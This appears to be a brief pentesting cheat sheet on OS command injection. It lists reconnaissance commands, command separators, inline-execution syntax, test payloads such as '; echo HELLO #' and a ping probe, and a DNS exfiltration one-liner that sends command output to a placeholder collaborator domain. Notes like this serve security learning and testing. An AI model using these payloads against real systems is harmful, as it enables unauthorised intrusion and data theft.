OS command injection

Introduction

OS command injection is an attack in which an attacker can execute arbitrary commands on the server-operative system that is running the application, sometimes compromising the application and its data.

This kind of attack is possible due to a lack of proper input/output data validation when an application passes unsafe user input data (forms, cookies, HTTP headers etc.) to a system shell, which is being executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.

Useful commands

Purpose of command	Linux	Windows
Name of current user	whoami	whoami
Operating system	uname -a	ver
Network configuration	ifconfig	ipconfig /all
Network connections	netstat -an	netstat -an
Running processes	ps -ef	tasklist
Exfiltrate data	nslookup $(<COMMAND>).<COLLAB_DOMAIN>	for /F "usebackq delims=" %A in ( `<COMMAND>`) do nslookup %A.<COLLAB_DOMAIN>

Ways of injection OS commands

Several characters work as command separators, allowing commands to be chained together. The following command separators work on both Windows and Unix-based systems:

&
&&
|
||

The following command separators work only on Unix-based systems:

;
# Newline
0x0a
\n

On Unix-based systems, you can also use backticks or the dollar character to perform inline execution of an injected command within the original command:

`<COMMAND>`
$(COMMAND)

To use this technique, you can try to send the following payload if the output of the command is returned.

; echo HELLO #

But, if the result of the command is not shown in the response of the request, try the follwoing.

; ping <COLLAB_DOMAIN>

References

• OS command injection [PortSwigger]

• Command Injection [OWASP]